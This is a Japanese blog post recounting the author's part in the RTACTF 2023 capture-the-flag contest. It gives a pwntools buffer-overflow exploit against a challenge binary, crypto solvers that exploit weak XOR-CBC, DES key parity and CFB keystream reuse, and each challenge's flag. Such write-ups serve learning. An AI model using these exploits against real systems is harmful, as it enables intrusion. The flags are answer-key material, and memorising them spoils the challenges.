Learning cyber security by playing and enjoying CTFs

Cyber Security関係の雑記帳です。表明されているお気持ちなどは全て個人的なものであり、筆者が所属もしくは関係する組織・団体の意向とは一切関係ありません。

RTACTF 2023 参戦記(観戦+"市民ランナー枠"参加)

1. はじめに

 2023/3/21 15:00 JST ~ 2023/3/7 18:30 JST(?) に開催された「RTACTF 2023 春」に(プレーヤーもしくは走者と呼ばれる「招待選手枠」ではなく、「市民ランナー枠」で)参加しました。

 想定時間内で解けた問題はゼロしたが、自力で解けたのが pwn 1問、crypto 3問でした。前回は crypto 2問のみでしたので、多少は進歩したのでしょうか。おそらく、お気楽な気持ちでやったのが功を奏したのでしょう。いずれにしても、「招待選手枠」だったらおそらく1問も解けなかったと思います*1

 以下、簡単にではありますが、参戦記を残したいと思います。

2. 参加までの経緯

 経緯としては、おおむね以下のような感じです。

  • 3/18(土)Twitter の TimeLine から開催の旨を知る。
  • 3/19(日)Compassで参加を表明。
  • 3/20(月)朝4:00頃までWolvCTF 2023 をやっていてフラフラだったので、夜早めに寝た。
  • 3/21(火)スコアサーバへ登録。チョコレートを食して Warmup。

 久しぶりにチョコレートを食したことと、気候が春めいてきた関係でテンションが上がり*2、当初は『pwn は観戦、crypto は息が切れるまで run』の予定でしたが、「RTA な ので易しめの問題も出るだろう」と予想して『pwn は解けなくなったら観戦に移行、crypto は息が切れるまで run』という方針に変更しました。

 crypto は前回 RSA 問が出たので、今回は ECC / ECDSA か DSA あたりかと踏んで準備を進める一方、AES-GCM とかその周辺も怪しいと警戒をしていましたが、結局始まってみないと分からないので、準備は程々でオシマイとしました。

3. pwn

 結果的には最初の 1 問のみを自力で解き、2 問目の途中であきらめて観戦へ移行しました。

 ※以下、ソルバとフラグのみを示します。問題の内容については、配信 RTACTF 2023 春 - YouTube を参照してください。

3.1 before-write(目標:300 sec、実績:384.57 sec)

 シンプルかつ易しい stack-based buffer overflow 問でした。セキュリティ機構も甘々なので、リターンアドレスを win 関数のアドレスに書き換えるだけで OK となります。

 以下の exploit を実行し、ローカルで成功することを確かめた後、リモートで繋ぎました。

from pwn import *
import sys

addr = 0x4011B6

if 'remote' in sys.argv:
    r = remote('redacted,' redacted)
else:
    r = process('./chall')

buf = b'A' * (0x20+ 8)
buf += p64(addr)
r.sendline(buf)
r.interactive()

下から2行目は sendlineafter(b"value: ", buf) 等とすべきなのでしょうが、通ってしまったのでヨシとします。

RTACTF{sizeof_is_a_bit_c0nfus1ng}

4. crypto

 crypto は 自力で 3 問解きました。

 ※pwn 同様、ソルバとフラグのみを示します。問題の内容については、配信 RTACTF 2023 春 - YouTube を参照してください。

4.1 XOR-CBC(目標:480 sec、実績:621.98 sec)

 (AES とかではなく)XOR を CBC モードで実行するような暗号化関数が定義されており、それによる暗号化結果が与えらられます。    キーが求まれば復号可能ですが、もちろんキーは与えられません。

 しかし、キーの長さは 8 バイトで、フラグは「RTACTF{」で始まるので、1 バイト分を総当たりすればどうにか出来そうです。

 以下のソルバを実行して 95 個の候補を出し、その中から「目 grep」でフラグを見つけました。

from pwn import xor

p64 = lambda x: struct.pack('<Q', x)
u64 = lambda x: struct.unpack('<Q', x)[0]

KEY_SIZE = 8

ct = bytes.fromhex("6528337d61658047295cef0310f933eb681e424b524bcc294261bd471ca25bcd6f3217494b1ca7290c158d7369c168b3")

def decrypt(ciphertext, key):
    iv, ciphertext = ciphertext[:KEY_SIZE], ciphertext[KEY_SIZE:]

    plaintext = b''
    for i in range(0, len(ciphertext), KEY_SIZE):
        c_block = ciphertext[i:i+KEY_SIZE]
        p_block = p64(u64(iv) ^ u64(c_block) ^ u64(key))
        plaintext += p_block
        iv = c_block

    return plaintext.rstrip(plaintext[-1:])

iv = ct[:KEY_SIZE]

_pt = b"RTACTF{"
for i in range(0x20,0x7f):
  pt = _pt + chr(i).encode()
  key = xor(xor(pt, iv), ct[KEY_SIZE:KEY_SIZE*2])
  print(decrypt(ct, key))

RTACTF{1_b0ugh7_4_b1k3_y3s73rd4y}

4.2 Collision-DES(目標:720 sec、実績:1811.70 sec)

 DES のキーサイズは 56bit ですが、渡しているキーは 64 bit です。そこに Collision のヒントがあるわけですが、それに気づくまで時間を浪費してしまいました。

 「どの bit がどのように切り捨てられるのか」分からなかったので、色々試行錯誤して回り道をしてしまいましたが、以下のソルバのようにやってみたら成功しました。結果オーライです*3

import telnetlib
from pwn import xor

HOST = "redacted"
PORT = redacted

def readline():
  return tn.read_until(b"\n")
  
def sendline(s):
  return tn.write(s.encode() + b"\n")

tn = telnetlib.Telnet(HOST, int(PORT))

key1 = bytes.fromhex(readline().strip().decode().replace("Key 1: ",""))
key2 = xor(b"\x01" * 8, key1)

print(key2)
sendline(key2.hex())
print(readline())
print(readline())
tn.close()

RTACTF{The_keysize_of_DES_is_actually_56-bit}

4.3 (目標:1080 sec、実績:3269.13 sec)

 これは、CFB モードの動きをちゃんと理解しておらずハマったもので、16 バイトずつのブロックではなく 1 バイトずつ処理されることに気づくまでの時間ロスが多大でした。to_send にフラグの判明分を仕込んで送信、暗号化結果(enc2)に対して xor(xor(enc1,enc2),to_send.encode()) すれば to_send で送った次の文字が判明するので、to_sendを都度手動で書き換えて「}」が出現するまで実行しました。

from Crypto.Util.number import *
import telnetlib
import gmpy2
from pwn import xor

HOST = "redacted"
PORT = redacted

def readline():
  return tn.read_until(b"\n")

def readuntil(s):
  return tn.read_until(s.encode())

def sendline(s):
  return tn.write(s.encode() + b"\n")

tn = telnetlib.Telnet(HOST, int(PORT))

enc1 = bytes.fromhex(readline().strip().decode())
to_send = "RTACTF{name_it_AES-SDGs}0000000" #<=試行の都度ここを書き換えていく
readuntil("> ")
sendline(to_send)
enc2 = bytes.fromhex(readline().strip().decode())
print(xor(xor(enc1,enc2),to_send.encode()))
tn.close()

RTACTF{name_it_AES-SDGs}

 「SDGs」は草*4

5. 感想

 Symmetric Cipher つらいっす*5

6. おわりに

 RTA はめっちゃ苦手ですが、元気なら次回も参加します*6!!

7. 追記(3/22 7:20)

 運営の皆様、ランナー(招待/市民)の皆様、観戦した皆様、お疲れさまでした&ありがとうございました。

*1:ですので、「走者」の皆様には多大なる敬意を表します。

*2:冬場はほぼ「死に体」です。そのうち「お前、熊かよ!」と突っ込まれても致し方ないと覚悟しています。

*3:「pycryptodome の実装を見るのとどちらが速いのか」というところですが、コードを書くのも読むのも遅いので、試行錯誤するのが近道であった可能性は大です。

*4:実際に「SDGs」を標榜しながら為されていることの中にも、この設問で行われている「key、ivの使いまわし」のような「ナンセンス」が多々あるので、良い皮肉となっています。

*5:古典暗号はもっと辛いっす。

*6:もちろん、「市民ランナー枠」で。